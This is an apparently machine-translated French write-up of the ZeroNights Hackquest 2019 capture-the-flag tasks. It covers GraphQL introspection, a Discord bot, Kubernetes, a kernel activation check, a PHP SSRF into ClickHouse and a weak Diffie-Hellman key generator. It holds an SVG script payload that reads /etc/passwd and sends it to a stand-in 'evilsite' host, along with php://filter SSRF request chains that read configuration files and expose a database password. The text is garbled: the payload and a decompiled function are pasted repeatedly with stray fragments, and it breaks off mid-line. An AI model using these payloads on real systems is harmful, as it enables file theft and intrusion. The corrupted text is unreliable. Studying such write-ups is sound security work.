ZeroNights Hackquest 2019. Résultats et écritures

Plus récemment, le HackQuest annuel, programmé pour coïncider avec la conférence ZeroNights, a pris fin. Comme les années précédentes, les participants ont dû résoudre 7 tâches différentes - une pour le jour de la quête. Les affectations, comme toujours, ont aidé à préparer nos partenaires communautaires. Vous pouvez découvrir comment les tâches ont été résolues et qui sont devenus les gagnants de la hackquest cette fois, sous la coupe.


image

Jour 1. TOP SECRET


Les gagnants
1ère place2ème place
vladvisgotdaswag

La première mission de cette année a été préparée par l'équipe d'audit de la sécurité numérique . Pour le résoudre, les participants ont dû passer par trois étapes: accéder au contenu du chat interne du portail de jeu, exploiter la vulnérabilité dans le bot Discord et utiliser le paramètre de droits incorrect dans le cluster Kubernetes.


La décision de la tâche du premier jour (Vladvis)

1ère étape: graphql


  • Au départ, nous arrivons à une application Web avec un jeu et une évaluation côté client js.
  • En plus de statique, une seule demande est faite au backend:
  • Vous pouvez obtenir une liste de tous les types et de leurs champs avec la requête suivante:
    { __schema { types { name fields { name } } } } 
  • Nous voyons la boîte de commentaires pour demander dans la demande initiale et de recevoir un lien vers la prochaine étape.

2ème étape: Discord bot


  • Un bot nous rencontre sur le serveur et crée un canal séparé pour nous
  • Allez voir un soupçon de SSRF dans gitea, mais avant que je ne l'ai pas atteint = (
  • Nous essayons de lire le fichier local:
     <svg width="10cm" height="3cm" viewBox="0 0 1000 300" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <script type="text/javascript"> for (var i=0; trefs[i]; i++) { var xhr = new XMLHttpRequest(); xhr.open("GET","/etc/passwd",false); xhr.send(""); var xhr2 = new XMLHttpRequest(); xhr2.open("GET", "http://evilsite/?p="+btoa(xhr.responseText),false); xhr2.send(""); } </script> </svg> etc / passwd", false); <svg width="10cm" height="3cm" viewBox="0 0 1000 300" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <script type="text/javascript"> for (var i=0; trefs[i]; i++) { var xhr = new XMLHttpRequest(); xhr.open("GET","/etc/passwd",false); xhr.send(""); var xhr2 = new XMLHttpRequest(); xhr2.open("GET", "http://evilsite/?p="+btoa(xhr.responseText),false); xhr2.send(""); } </script> </svg> 
  • Nous obtenons / etc / passwd et voyons 2 utilisateurs: travailleur, au nom duquel svg et gitea sont rendus
     worker:x:1000:1000::/home/worker:/bin/sh gitea:x:1001:1001::/home/gitea:/bin/sh 
  • Cette étape, je suis passé par un chemin inattendu: dans .bash_history, le travailleur avait des chemins vers la clé ssh et l'adresse du serveur à l'étape suivante
     cd nano .ssh/connect_info echo > .bash_history exit cd cd .ssh/ chmod 755 id_rsa ls -al cat id_rsa exit 

    3e étape: kubernetes

  • Il semble que je sois arrivé à ce stade en premier. .bash_history et ps étaient vides et j'en ai conclu que pour chaque ip un environnement isolé est créé
  • Un jeton pour kubernetes a été trouvé dans la monture
  • Au début, il n'était pas clair où obtenir le jeton, et j'ai commencé à scanner la grille ... et à un moment donné, j'ai commencé à marcher chez les voisins dans le nuage
  • Après cela, un indice a été émis sur les sous-réseaux à analyser, et des api kubernetes de repos ont été trouvés presque immédiatement
  • À ce stade, je me suis rendu compte que je n'étais pas seul sur le serveur, et que je ne souhaitais pas couper quelque chose, par exemple, masquer cmdline, j'ai donc décidé de le faire plus facile il est plus douloureux et transmet à lui-même des chaussettes proxy via ssh
  • En utilisant kubectl get pods , une liste de conteneurs a été obtenue, et la documentation de kubernetes a suggéré que exec pourrait être utilisé avec la même syntaxe que docker
  • Ensuite, il y a eu 1,5 heure de souffrance avec le proxy de chaussettes, à travers lequel le Websocket pour les exécutants n'a pas augmenté. J'ai fini par aller directement à kubectl via ssh
  • Le deuxième conteneur a un nouveau jeton et il avait déjà accès au cluster dans l'espace de noms voisin zn2 (initialement nous sommes dans l'espace de noms zn1), d'où redis était visible
  • Nous rappelons le rapport @paulaxe du passé Zeronights et obtenons RCE, par exemple, en utilisant ce PoC
  • Après avoir reçu le prochain jeton, vous pouvez retirer le drapeau des secrets de Kubernetes

Jour 2. MICOSOFT LUNIX


les gagnants
1ère place2ème place3e place
déchiréSin__AV1ct0r
Aussi nous avons décidé: demidov_al, gotdaswag, medidrdrider, groke_is_love_groke_is_life

Le deuxième jour de la tâche de préparer les membres de la communauté r0 Crew . Pour résoudre ce problème, vous devez générer une clé d'activation pour une image Linux avec un noyau modifié.


La décision de la tâche du deuxième jour (déchirée)

Donné: fichier jD74nd8_task2.iso , image ISO amorçable. À partir des fichiers à l'intérieur de l'image, nous pouvons supposer qu'il s'agit de Linux: il y a un boot/kernel.xz noyau boot/kernel.xz , un boot/rootfs.xz initial du disque virtuel boot/rootfs.xz et un chargeur de démarrage boot/syslinux/ .


Nous essayons de déballer le noyau et le ramdisk. Ramdisk ici est une archive cpio régulière compressée par xz. Décompressez le noyau à l'aide du script https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux . Vous pouvez également faire attention aux informations du noyau:


 > file kernel.xz kernel.xz: Linux kernel x86 boot executable bzImage, version 5.0.11 (billy@micosoft.com) #1 SMP Sat Aug 25 13:37:00 CEST 2019, RO-rootFS, swap_dev 0x2, Normal VGA 

En cours de route, nous trouvons dans l'image iso la tâche principale de minimal/rootfs/bin/activator : tout se résume à écrire les données de courrier électronique saisies et la clé d'activation sur le périphérique /dev/activate au format $email|$key . Dans le cas de la clé de vérification réussie de lecture /dev/activate émettra chaîne ACTIVATED , activateur et dans ce cas, le jeu commencera en 2048.


Il est temps de regarder le problème dans la dynamique. Pour ce faire, exécutez l'émulateur dans KVM:


 > qemu-system-x86_64 -enable-kvm -drive format=raw,media=cdrom,readonly,file=jD74nd8_task2.iso 

Linux démarre immédiatement et exécute le /bin/activator de la superposition. Ceci est expliqué dans /etc/inittab . Pour éviter de creuser dans le binaire pendant longtemps, je voulais obtenir un shell et regarder au moins /proc et /sys . Le moyen le plus simple pour moi était de simplement télécharger le fichier iso à l'endroit où se trouve le script d'activation lui-même. Au lieu de sleep 1 set /bin/sh , c'est-à-dire J'ai reçu un obus après chaque tentative d'entrée en série.


Il y a donc un shell: on regarde que /proc/kallsyms absent, c'est à dire caractères du noyau manquants. Avec eux, bien sûr, ce serait beaucoup plus rapide, mais ça va. Nous recherchons des informations sur le périphérique /dev/activator :


 / # ls -la /dev/activate crw------- 1 0 0 252, 0 Oct 15 08:57 /dev/activate / # cat /proc/devices Character devices: ... 252 activate ... Block devices: ... 

D'après les informations contenues dans /proc/devices on peut voir qu'il s'agit d'un périphérique char avec la version principale 252 et la version mineure 0.


Il est temps de trouver dans la fonction de journalisation binaire noyau de cet appareil pour trouver le gestionnaire pour ses opérations write . Pour ce faire, recherchez les références croisées à la chaîne à activate . Mais il n'y a pas une telle ligne dans le noyau, probablement elle est en quelque sorte cachée.


Dans la tentative suivante, nous essayons de trouver les fonctions responsables de l'enregistrement des périphériques de caractères: cdev_add et register_chrdev . Cela peut être fait en croisant /dev/console ou tout autre périphérique de caractères et en prenant le code source du noyau (j'ai pris la version 5.0.11, mais je ne suis pas sûr que la version soit correcte). Après avoir regardé la liste des appareils en cours d'enregistrement, nous n'y trouvons pas d'appareil avec la version majeure 252. Il est probable que ces deux fonctions ne s'enregistrent pas.


Essayez de chercher d'autres indices dans la dynamique:


 / # ls -la /sys/dev/char/252:0 lrwxrwxrwx 1 0 0 0 Oct 15 09:00 /sys/dev/char/252:0 -> ../../devices/virtual/EEy????I/activate 

Voici le EEy????I - la EEy????I appareil EEy????I Nous essayons de trouver cette ligne dans le binaire et elle est là!



Bien qu'aucune référence croisée n'y ait été trouvée, mais à côté se trouvent des données visibles similaires aux chaînes. Si vous regardez le code qui les utilise, vous pouvez voir que ce sont les gestionnaires de lecture et d'écriture souhaités du périphérique d' activate qui sont chiffrés avec du XOR simple.


Fonction de traitement de lecture:



La fonction de traitement de l'écriture, c'est aussi un contrôle de licence:



Une inspection rapide du code de vérification d'activation a montré qu'il est plus facile de simplement mettre un point d'arrêt à l'adresse 0xFFFFFFFF811F094B et de récupérer le code d'activation là-bas, sans vraiment fouiller ce qui se passe là-bas. Pour ce faire, exécutez qemu avec le drapeau -s . Dans ce cas, qemu exécute stub gdb, ce qui vous permet d'utiliser n'importe quel client gdb. Le plus simple et plus rapide de le faire dans l'IDA Pro, si vous disposez d'une licence. Mais personne n'interdit de tout faire dans la console gdb.


Nous faisons tout comme décrit dans le tutoriel officiel. Vous devez maintenant trouver la fonction de traitement dans le noyau déjà en cours d'exécution.




Puisque le noyau est construit avec le support KASLR, les adresses du noyau en cours d'exécution sont décalées vers un décalage aléatoire qui est généré à chaque démarrage du noyau. Nous calculons ce décalage (nous prenons l'adresse de la séquence d'octets unique dans le code du noyau débogué et soustrayons l'adresse de cette séquence dans le binaire) et, en ajoutant la fonction d'activation à l'adresse, nous la trouvons en mémoire. Tout, maintenant c'est aux petits. Définissez un point d'arrêt et récupérez le code.





La solution à cette tâche a déjà été publiée sur le hub par l'un des participants. Vous pouvez y accéder ici .


Jour 3. MAISON DE BECHED


Les gagnants
1ère place
blackfan

Travail préparé par beched ( DeteAct ). Les participants ont été accueillis par une page de paiement banale. Pour résoudre , il fallait accéder à la base de données Clickhouse, en utilisant la fonction de fonction php file_get_contents .


La décision de la tâche du troisième jour (blackfan)

La tâche est une page de paiement, où le seul paramètre intéressant était callback_url.


https://i.imgur.com/iX65TI3.png


Nous indiquons votre site et saisissons la demande:


 http://82.202.226.176/?callback_url=http://attacker.tld/&pan=&amount=&payment_id= 

 POST / HTTP/1.0 Host: attacker.tld Connection: close Content-Length: 21 Content-Type: application/json amount=0&payment_id=0 

Une réponse HTTP ne s'affiche que si le site a renvoyé une chaîne alphanumérique. Exemples de réponses:


 {"result":"Success.","msg":"Response: testresponse"} {"result":"Invalid status code.","msg":"Non-alphanumeric response."} 

Nous essayons en tant que données callback_url:, testons et comprenons que, très probablement, c'est PHP.


 http://82.202.226.176/?callback_url=data:,test&pan=&amount=&payment_id= 

Nous utilisons php: // filter pour lire les fichiers locaux et encoder la réponse en utilisant convert.base64-encode afin que la réponse soit alphanumérique. En raison des caractères +, / et =, il est parfois nécessaire de combiner plusieurs appels base64 pour afficher une réponse.


 http://82.202.226.176/?pan=xxx&amount=xxx&payment_id=xxx&callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=./index.php http://82.202.226.176/?pan=xxx&amount=xxx&payment_id=xxx&callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=./includes/db.php 

 <?php error_reporting(0); /* * DB configuration */ $config = [ 'host' => 'localhost', 'port' 

La sortie de réponse est limitée à 200 octets, mais à partir des fragments, nous apprenons la disponibilité de la base de données sur localhost. Nous trions les ports via callback_url et trouvons un nouvel article sur l'injection dans ClickHouse sur le blog DeteAct , qui correspond à l'étrange nom de tâche "HOUSE OF BECHED".


https://i.imgur.com/OBn22wi.png


ClickHouse possède une interface HTTP qui vous permet d'effectuer des requêtes arbitraires, ce qui est très pratique à utiliser dans SSRF.


Nous lisons la documentation, essayons d'obtenir un compte depuis la configuration.


 http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id= 

 <?xml version="1.0"?> <yandex> <!-- Profiles of settings. --> <profiles> <!-- Default settibm 

Encore une fois, en limitant les interférences de sortie et à en juger par le fichier standard, le champ souhaité est extrêmement éloigné.


https://i.imgur.com/5Un6gfj.png


Coupez l'excédent à l'aide du filtre string.strip_tags.


 http://82.202.226.176/?callback_url=php://filter/string.strip_tags|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id= 

Mais la longueur de sortie n'est toujours pas suffisante jusqu'à la réception du mot de passe. Ajoutez un filtre de compression zlib.deflate.


 http://82.202.226.176/?callback_url=php://filter/string.strip_tags|zlib.deflate|convert.base64-encode|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id= 

Et lire localement dans l'ordre inverse:


 print(file_get_contents('php://filter/convert.base64-decode|convert.base64-decode|zlib.inflate/resource=data:,NCtYaTVWSUFBbVFTRnd1VFoyZ0FCN3hjK0JRU2tDNUt6RXZKejBXMms3QkxETkVsZUNueVNsSnFja1pxU2taK2FYRnFYbjVHYW1JQmZoZWo4a0RBeWtyZkFGME5QajBwcVdtSnBUa2xWRkNFNlJaTUVWSkZRU0JSd1JZNWxGRTFVY3NLYllVa0JiV2NFbXNGUTRYOElv')); 

Après avoir reçu le mot de passe, nous pouvons envoyer les demandes ClickHouse comme suit:


 http://localhost:8123/?query=select%20'xxx'&user=default&password=bechedhousenoheap http://default:bechedhousenoheap@localhost:8123/?query=select%20'xxx' 

Mais depuis que nous avons envoyé à l'origine à un poste, vous devez contourner ce problème en utilisant la redirection. Et la demande finale sera donc (à ce stade, je suis très émoussé, comme en raison des grands paramètres de traitement de nidification j'encode incorrectement des caractères spéciaux et ne pouvait pas compléter votre demande)


 http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=http://blackfan.ru/x?r=http://localhost:8123/%253Fquery=select%252520'xxx'%2526user=default%2526password=bechedhousenoheap&pan=&amount=&payment_id= 

Eh bien, juste assez pour obtenir les données de la base de données:


 select name from system.tables select name from system.columns where table='flag4zn' select bechedflag from flag4zn le select name from system.tables select name from system.columns where table='flag4zn' select bechedflag from flag4zn 

 http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=http://blackfan.ru/x?r=http://localhost:8123/%253Fquery=select%252520bechedflag%252520from%252520flag4zn%2526user=default%2526password=bechedhousenoheap&pan=&amount=&payment_id= 

Jour 4. ASR-EHD


Les gagnants
1ère place
AV1ct0r

La quatrième journée de travail a été préparée par le Département de recherche sur la sécurité numérique . La tâche principale de la tâche était de montrer comment le mauvais choix de la source de nombres aléatoires peut affecter l'algorithme cryptographique. Dans taskka, un générateur de clé privée aléatoire auto-écrit pour DH a été implémenté, basé sur LFSR. Après avoir reçu suffisamment kollichestva TLS handshake successives par des valeurs publiques DH pourrait rétablir l'état initial de LFSR et décoder le trafic entier.


La décision de la tâche du quatrième jour (AV1ct0r)

Jour 4 / ASR-DHM - par WriteUp AV1ct0r


Peter est un paranoïaque petit peu: il utilise toujours des connexions cryptées. Pour être sûr que les algorithmes sont sécurisés, Peter utilise son propre client. Il nous a même donné un vidage de trafic qui a été fait en utilisant son client personnalisé. La connexion de Peter est-elle vraiment sécurisée?


https://hackquest.zeronights.org/downloads/task4/8Jdl3f_client.tar
https://hackquest.zeronights.org/downloads/task4/d8f3ND_dump.tar


  1. Ouvrez le fichier client dans IDA Pro et voyez qu'il peut télécharger une partie du fichier flag.jpg depuis le serveur https://ssltest.a1exdandy.me:443/ . Quelle partie du fichier à télécharger (à partir de quel octet) provient de la ligne de commande.


     signed __int64 __fastcall main(int argc, char **argv, char **a3) { size_t v4; // rsi __int64 v5; // ST48_8 int v6; // [rsp+10h] [rbp-450h] int v7; // [rsp+14h] [rbp-44Ch] __int64 v8; // [rsp+20h] [rbp-440h] __int64 v9; // [rsp+28h] [rbp-438h] __int64 v10; // [rsp+30h] [rbp-430h] __int64 v11; // [rsp+38h] [rbp-428h] __int64 v12; // [rsp+40h] [rbp-420h] char ptr; // [rsp+50h] [rbp-410h] unsigned __int64 v14; // [rsp+458h] [rbp-8h] v14 = __readfsqword(0x28u); if ( argc != 3 ) return 0xFFFFFFFFLL; v6 = atoi(argv[1]); v7 = atoi(argv[2]); if ( v6 < 0 || v7 < 0 || v7 <= v6 ) return 0xFFFFFFFFLL; v8 = 0LL; v9 = 0LL; v10 = 0LL; OPENSSL_init_ssl(0LL, 0LL); OPENSSL_init_crypto(2048LL, 0LL); v11 = ENGINE_get_default_DH(2048LL, 0LL); if ( v11 ) { if ( (unsigned int)ENGINE_init(v11) ) { v12 = ENGINE_get_DH(v11); if ( v12 ) { v8 = DH_meth_dup(v12); if ( v8 ) { if ( (unsigned int)DH_meth_set_generate_key(v8, dh_1) ) { if ( (unsigned int)ENGINE_set_DH(v11, v8) ) { v5 = TLSv1_2_client_method(v11, v8); v10 = SSL_CTX_new(v5); if ( (unsigned int)SSL_CTX_set_cipher_list(v10, "DHE-RSA-AES128-SHA256") ) { v9 = BIO_new_ssl_connect(v10); BIO_ctrl(v9, 100LL, 0LL, (__int64)"ssltest.a1exdandy.me:443"); if ( BIO_ctrl(v9, 101LL, 0LL, 0LL) >= 0 ) { BIO_ctrl(v9, 101LL, 0LL, 0LL); BIO_printf(v9, "GET /flag.jpg HTTP/1.1\n", argv); BIO_printf(v9, "Host: ssltest.a1exdandy.me\n"); BIO_printf(v9, "Range: bytes=%d-%d\n\n", (unsigned int)v6, (unsigned int)v7); v4 = (signed int)BIO_read(v9, &ptr, 1024LL); fwrite(&ptr, v4, 1uLL, stdout); } else { v4 = 1LL; fwrite("Can't do connect\n", 1uLL, 0x11uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set cipher list\n", 1uLL, 0x16uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set DH methods\n", 1uLL, 0x15uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set generate_key method\n", 1uLL, 0x1EuLL, stderr); } } else { v4 = 1LL; fwrite("Can't dup dh meth\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } } else { v4 = 1LL; fwrite("Can't init engine\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } if ( v11 ) { ENGINE_finish(v11, v4); ENGINE_free(v11); } if ( v8 ) DH_meth_free(v8, v4); if ( v10 ) SSL_CTX_free(v10, v4); if ( v9 ) BIO_free_all(v9, v4); return 0LL; } char ** argv, char ** a3) signed __int64 __fastcall main(int argc, char **argv, char **a3) { size_t v4; // rsi __int64 v5; // ST48_8 int v6; // [rsp+10h] [rbp-450h] int v7; // [rsp+14h] [rbp-44Ch] __int64 v8; // [rsp+20h] [rbp-440h] __int64 v9; // [rsp+28h] [rbp-438h] __int64 v10; // [rsp+30h] [rbp-430h] __int64 v11; // [rsp+38h] [rbp-428h] __int64 v12; // [rsp+40h] [rbp-420h] char ptr; // [rsp+50h] [rbp-410h] unsigned __int64 v14; // [rsp+458h] [rbp-8h] v14 = __readfsqword(0x28u); if ( argc != 3 ) return 0xFFFFFFFFLL; v6 = atoi(argv[1]); v7 = atoi(argv[2]); if ( v6 < 0 || v7 < 0 || v7 <= v6 ) return 0xFFFFFFFFLL; v8 = 0LL; v9 = 0LL; v10 = 0LL; OPENSSL_init_ssl(0LL, 0LL); OPENSSL_init_crypto(2048LL, 0LL); v11 = ENGINE_get_default_DH(2048LL, 0LL); if ( v11 ) { if ( (unsigned int)ENGINE_init(v11) ) { v12 = ENGINE_get_DH(v11); if ( v12 ) { v8 = DH_meth_dup(v12); if ( v8 ) { if ( (unsigned int)DH_meth_set_generate_key(v8, dh_1) ) { if ( (unsigned int)ENGINE_set_DH(v11, v8) ) { v5 = TLSv1_2_client_method(v11, v8); v10 = SSL_CTX_new(v5); if ( (unsigned int)SSL_CTX_set_cipher_list(v10, "DHE-RSA-AES128-SHA256") ) { v9 = BIO_new_ssl_connect(v10); BIO_ctrl(v9, 100LL, 0LL, (__int64)"ssltest.a1exdandy.me:443"); if ( BIO_ctrl(v9, 101LL, 0LL, 0LL) >= 0 ) { BIO_ctrl(v9, 101LL, 0LL, 0LL); BIO_printf(v9, "GET /flag.jpg HTTP/1.1\n", argv); BIO_printf(v9, "Host: ssltest.a1exdandy.me\n"); BIO_printf(v9, "Range: bytes=%d-%d\n\n", (unsigned int)v6, (unsigned int)v7); v4 = (signed int)BIO_read(v9, &ptr, 1024LL); fwrite(&ptr, v4, 1uLL, stdout); } else { v4 = 1LL; fwrite("Can't do connect\n", 1uLL, 0x11uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set cipher list\n", 1uLL, 0x16uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set DH methods\n", 1uLL, 0x15uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set generate_key method\n", 1uLL, 0x1EuLL, stderr); } } else { v4 = 1LL; fwrite("Can't dup dh meth\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } } else { v4 = 1LL; fwrite("Can't init engine\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } if ( v11 ) { ENGINE_finish(v11, v4); ENGINE_free(v11); } if ( v8 ) DH_meth_free(v8, v4); if ( v10 ) SSL_CTX_free(v10, v4); if ( v9 ) BIO_free_all(v9, v4); return 0LL; } -450h] signed __int64 __fastcall main(int argc, char **argv, char **a3) { size_t v4; // rsi __int64 v5; // ST48_8 int v6; // [rsp+10h] [rbp-450h] int v7; // [rsp+14h] [rbp-44Ch] __int64 v8; // [rsp+20h] [rbp-440h] __int64 v9; // [rsp+28h] [rbp-438h] __int64 v10; // [rsp+30h] [rbp-430h] __int64 v11; // [rsp+38h] [rbp-428h] __int64 v12; // [rsp+40h] [rbp-420h] char ptr; // [rsp+50h] [rbp-410h] unsigned __int64 v14; // [rsp+458h] [rbp-8h] v14 = __readfsqword(0x28u); if ( argc != 3 ) return 0xFFFFFFFFLL; v6 = atoi(argv[1]); v7 = atoi(argv[2]); if ( v6 < 0 || v7 < 0 || v7 <= v6 ) return 0xFFFFFFFFLL; v8 = 0LL; v9 = 0LL; v10 = 0LL; OPENSSL_init_ssl(0LL, 0LL); OPENSSL_init_crypto(2048LL, 0LL); v11 = ENGINE_get_default_DH(2048LL, 0LL); if ( v11 ) { if ( (unsigned int)ENGINE_init(v11) ) { v12 = ENGINE_get_DH(v11); if ( v12 ) { v8 = DH_meth_dup(v12); if ( v8 ) { if ( (unsigned int)DH_meth_set_generate_key(v8, dh_1) ) { if ( (unsigned int)ENGINE_set_DH(v11, v8) ) { v5 = TLSv1_2_client_method(v11, v8); v10 = SSL_CTX_new(v5); if ( (unsigned int)SSL_CTX_set_cipher_list(v10, "DHE-RSA-AES128-SHA256") ) { v9 = BIO_new_ssl_connect(v10); BIO_ctrl(v9, 100LL, 0LL, (__int64)"ssltest.a1exdandy.me:443"); if ( BIO_ctrl(v9, 101LL, 0LL, 0LL) >= 0 ) { BIO_ctrl(v9, 101LL, 0LL, 0LL); BIO_printf(v9, "GET /flag.jpg HTTP/1.1\n", argv); BIO_printf(v9, "Host: ssltest.a1exdandy.me\n"); BIO_printf(v9, "Range: bytes=%d-%d\n\n", (unsigned int)v6, (unsigned int)v7); v4 = (signed int)BIO_read(v9, &ptr, 1024LL); fwrite(&ptr, v4, 1uLL, stdout); } else { v4 = 1LL; fwrite("Can't do connect\n", 1uLL, 0x11uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set cipher list\n", 1uLL, 0x16uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set DH methods\n", 1uLL, 0x15uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set generate_key method\n", 1uLL, 0x1EuLL, stderr); } } else { v4 = 1LL; fwrite("Can't dup dh meth\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } } else { v4 = 1LL; fwrite("Can't init engine\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } if ( v11 ) { ENGINE_finish(v11, v4); ENGINE_free(v11); } if ( v8 ) DH_meth_free(v8, v4); if ( v10 ) SSL_CTX_free(v10, v4); if ( v9 ) BIO_free_all(v9, v4); return 0LL; } ; signed __int64 __fastcall main(int argc, char **argv, char **a3) { size_t v4; // rsi __int64 v5; // ST48_8 int v6; // [rsp+10h] [rbp-450h] int v7; // [rsp+14h] [rbp-44Ch] __int64 v8; // [rsp+20h] [rbp-440h] __int64 v9; // [rsp+28h] [rbp-438h] __int64 v10; // [rsp+30h] [rbp-430h] __int64 v11; // [rsp+38h] [rbp-428h] __int64 v12; // [rsp+40h] [rbp-420h] char ptr; // [rsp+50h] [rbp-410h] unsigned __int64 v14; // [rsp+458h] [rbp-8h] v14 = __readfsqword(0x28u); if ( argc != 3 ) return 0xFFFFFFFFLL; v6 = atoi(argv[1]); v7 = atoi(argv[2]); if ( v6 < 0 || v7 < 0 || v7 <= v6 ) return 0xFFFFFFFFLL; v8 = 0LL; v9 = 0LL; v10 = 0LL; OPENSSL_init_ssl(0LL, 0LL); OPENSSL_init_crypto(2048LL, 0LL); v11 = ENGINE_get_default_DH(2048LL, 0LL); if ( v11 ) { if ( (unsigned int)ENGINE_init(v11) ) { v12 = ENGINE_get_DH(v11); if ( v12 ) { v8 = DH_meth_dup(v12); if ( v8 ) { if ( (unsigned int)DH_meth_set_generate_key(v8, dh_1) ) { if ( (unsigned int)ENGINE_set_DH(v11, v8) ) { v5 = TLSv1_2_client_method(v11, v8); v10 = SSL_CTX_new(v5); if ( (unsigned int)SSL_CTX_set_cipher_list(v10, "DHE-RSA-AES128-SHA256") ) { v9 = BIO_new_ssl_connect(v10); BIO_ctrl(v9, 100LL, 0LL, (__int64)"ssltest.a1exdandy.me:443"); if ( BIO_ctrl(v9, 101LL, 0LL, 0LL) >= 0 ) { BIO_ctrl(v9, 101LL, 0LL, 0LL); BIO_printf(v9, "GET /flag.jpg HTTP/1.1\n", argv); BIO_printf(v9, "Host: ssltest.a1exdandy.me\n"); BIO_printf(v9, "Range: bytes=%d-%d\n\n", (unsigned int)v6, (unsigned int)v7); v4 = (signed int)BIO_read(v9, &ptr, 1024LL); fwrite(&ptr, v4, 1uLL, stdout); } else { v4 = 1LL; fwrite("Can't do connect\n", 1uLL, 0x11uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set cipher list\n", 1uLL, 0x16uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set DH methods\n", 1uLL, 0x15uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set generate_key method\n", 1uLL, 0x1EuLL, stderr); } } else { v4 = 1LL; fwrite("Can't dup dh meth\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } } else { v4 = 1LL; fwrite("Can't init engine\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } if ( v11 ) { ENGINE_finish(v11, v4); ENGINE_free(v11); } if ( v8 ) DH_meth_free(v8, v4); if ( v10 ) SSL_CTX_free(v10, v4); if ( v9 ) BIO_free_all(v9, v4); return 0LL; } ; signed __int64 __fastcall main(int argc, char **argv, char **a3) { size_t v4; // rsi __int64 v5; // ST48_8 int v6; // [rsp+10h] [rbp-450h] int v7; // [rsp+14h] [rbp-44Ch] __int64 v8; // [rsp+20h] [rbp-440h] __int64 v9; // [rsp+28h] [rbp-438h] __int64 v10; // [rsp+30h] [rbp-430h] __int64 v11; // [rsp+38h] [rbp-428h] __int64 v12; // [rsp+40h] [rbp-420h] char ptr; // [rsp+50h] [rbp-410h] unsigned __int64 v14; // [rsp+458h] [rbp-8h] v14 = __readfsqword(0x28u); if ( argc != 3 ) return 0xFFFFFFFFLL; v6 = atoi(argv[1]); v7 = atoi(argv[2]); if ( v6 < 0 || v7 < 0 || v7 <= v6 ) return 0xFFFFFFFFLL; v8 = 0LL; v9 = 0LL; v10 = 0LL; OPENSSL_init_ssl(0LL, 0LL); OPENSSL_init_crypto(2048LL, 0LL); v11 = ENGINE_get_default_DH(2048LL, 0LL); if ( v11 ) { if ( (unsigned int)ENGINE_init(v11) ) { v12 = ENGINE_get_DH(v11); if ( v12 ) { v8 = DH_meth_dup(v12); if ( v8 ) { if ( (unsigned int)DH_meth_set_generate_key(v8, dh_1) ) { if ( (unsigned int)ENGINE_set_DH(v11, v8) ) { v5 = TLSv1_2_client_method(v11, v8); v10 = SSL_CTX_new(v5); if ( (unsigned int)SSL_CTX_set_cipher_list(v10, "DHE-RSA-AES128-SHA256") ) { v9 = BIO_new_ssl_connect(v10); BIO_ctrl(v9, 100LL, 0LL, (__int64)"ssltest.a1exdandy.me:443"); if ( BIO_ctrl(v9, 101LL, 0LL, 0LL) >= 0 ) { BIO_ctrl(v9, 101LL, 0LL, 0LL); BIO_printf(v9, "GET /flag.jpg HTTP/1.1\n", argv); BIO_printf(v9, "Host: ssltest.a1exdandy.me\n"); BIO_printf(v9, "Range: bytes=%d-%d\n\n", (unsigned int)v6, (unsigned int)v7); v4 = (signed int)BIO_read(v9, &ptr, 1024LL); fwrite(&ptr, v4, 1uLL, stdout); } else { v4 = 1LL; fwrite("Can't do connect\n", 1uLL, 0x11uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set cipher list\n", 1uLL, 0x16uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set DH methods\n", 1uLL, 0x15uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set generate_key method\n", 1uLL, 0x1EuLL, stderr); } } else { v4 = 1LL; fwrite("Can't dup dh meth\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } } else { v4 = 1LL; fwrite("Can't init engine\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } if ( v11 ) { ENGINE_finish(v11, v4); ENGINE_free(v11); } if ( v8 ) DH_meth_free(v8, v4); if ( v10 ) SSL_CTX_free(v10, v4); if ( v9 ) BIO_free_all(v9, v4); return 0LL; } v10, "DHE-RSA-AES128-SHA256")) signed __int64 